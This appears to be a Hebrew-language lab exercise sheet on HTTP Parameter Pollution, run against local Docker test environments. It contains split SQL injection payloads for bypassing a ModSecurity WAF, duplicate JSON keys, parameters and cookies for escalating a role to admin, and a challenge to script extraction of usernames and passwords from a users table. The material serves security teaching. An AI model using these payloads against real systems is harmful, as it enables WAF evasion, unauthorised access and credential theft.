לדלג לתוכן

זיהום פרמטרים - HPP - תרגיל

הכנה

הקימו שלוש סביבות בדיקה עם פלטפורמות שונות כדי לראות את ההבדלים:

# סביבה 1: PHP + ModSecurity
docker run -d --name php-waf -p 8081:80 \
    -e PARANOIA=2 owasp/modsecurity-crs:apache

# סביבה 2: ASP.NET
docker run -d --name aspnet-app -p 8082:80 \
    mcr.microsoft.com/dotnet/samples:aspnetapp

# סביבה 3: Express.js (Node)
# צרו אפליקציה מינימלית עם הקוד הבא
// app.js - סביבה 3
const express = require('express');
const app = express();

app.get('/search', (req, res) => {
    res.send(`You searched for: ${req.query.q}`);
});

app.listen(8083, () => console.log('Listening on 8083'));

תרגיל 1 - זיהוי התנהגות HPP

משימה:
כתבו סקריפט Python ששולח בקשה עם פרמטר כפול לכל אחת מהסביבות ומזהה את ההתנהגות:

import requests

targets = {
    "PHP": "http://localhost:8081/search",
    "ASP.NET": "http://localhost:8082/search",
    "Express": "http://localhost:8083/search",
}

for name, url in targets.items():
    # השלימו - שלחו בקשה עם q=FIRST&q=SECOND
    # וזהו איזה ערך השרת החזיר
    pass
  1. לכל פלטפורמה, תעדו: האם לוקח ראשון, אחרון, או שניהם?
  2. בדקו גם עם POST (שנו את Content-Type בהתאם)
  3. בדקו מה קורה עם שלושה ערכים: q=A&q=B&q=C

תרגיל 2 - עקיפת WAF עם HPP ב-PHP

סביבת ה-PHP עם ModSecurity חוסמת SQLi.

משימה:
1. שלחו את הבקשה הבאה וודאו שנחסמת:

GET /page?id=1' UNION SELECT 1,2,3--

2. נצלו את העובדה ש-PHP לוקח את הערך האחרון:
GET /page?id=1&id=???

3. מצאו שילוב של ערכים כפולים שעוקף את ה-WAF
4. שלבו HPP עם קידוד URL חלקי להגברת ההצלחה


תרגיל 3 - ניצול שרשור ASP.NET

ב-ASP.NET, פרמטרים כפולים משורשרים עם פסיק.

משימה:
1. בנו מטען SQLi שמפוצל לפרמטרים כפולים כך שהפסיקים יפלו בתוך הערות SQL:

GET /page?id=1'/*&id=*/UNION/*&id=*/SELECT/*&id=*/1--

השרשור צריך להיות: 1'/*,*/UNION/*,*/SELECT/*,*/1--
2. בנו מטען XSS מפוצל שעובד למרות הפסיקים
3. בנו מטען שמנצל את הפסיק כחלק מהתחביר (למשל, ב-SQL הפסיק מפריד עמודות)


תרגיל 4 - HPP בגוף JSON

משימה:
אפליקציה שמקבלת JSON:

POST /api/login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "wrong"}
  1. שלחו JSON עם מפתח כפול:
    {"username": "admin", "password": "wrong", "password": "correct"}
    
  2. בדקו: איזה ערך הפרסר לוקח?
  3. נסו גם עם מפתח role:
    {"username": "admin", "password": "pass", "role": "user", "role": "admin"}
    
  4. בדקו האם ה-WAF חוסם את הבקשה

תרגיל 5 - HPP משולב GET ו-POST

משימה:
שלחו בקשה שמכילה את אותו פרמטר גם ב-URL וגם בגוף:

POST /page?role=user HTTP/1.1
Content-Type: application/x-www-form-urlencoded

role=admin
  1. בדקו בכל פלטפורמה: איזה ערך גובר?
  2. נסו לנצל את ההבדל לעקיפת הרשאות
  3. מצאו תרחיש שבו ה-WAF בודק את פרמטר ה-GET, אבל השרת משתמש בפרמטר ה-POST

תרגיל 6 - HPP בעוגיות

משימה:

GET /dashboard HTTP/1.1
Cookie: role=user; role=admin
  1. בדקו: איזו עוגייה השרת לוקח?
  2. בנו תרחיש עקיפה שבו ה-WAF מפרסר את העוגייה הראשונה, אבל השרת לוקח את האחרונה
  3. נסו גם עם:
    Cookie: role=user;role=admin
    

    (ללא רווח אחרי הנקודה-פסיק)

תרגיל 7 - אתגר מסכם

שרת PHP עם ModSecurity CRS ברמת פרנויה 2. נקודת הזרקה:

GET /api/data?filter=value HTTP/1.1

הפרמטר filter מוזרק ישירות לשאילתת SQL:

SELECT * FROM products WHERE category = 'VALUE'

משימה:
1. בנו שרשרת HPP שמחלצת את שם המשתמש והסיסמה מטבלת users
2. שלבו את HPP עם לפחות טכניקת קידוד אחת מהשיעור הקודם
3. כתבו סקריפט אוטומטי שמבצע את ההתקפה:

import requests

def hpp_sqli_attack(base_url, param_name):
    """
    ביצוע SQLi דרך HPP
    """
    # השלימו:
    # 1. בניית פרמטרים כפולים
    # 2. שילוב קידוד
    # 3. שליחת הבקשה
    # 4. ניתוח התגובה
    pass

hpp_sqli_attack("http://localhost:8081/api/data", "filter")
  1. תעדו: אילו שילובים של HPP + קידוד הצליחו לעקוף, ואילו נחסמו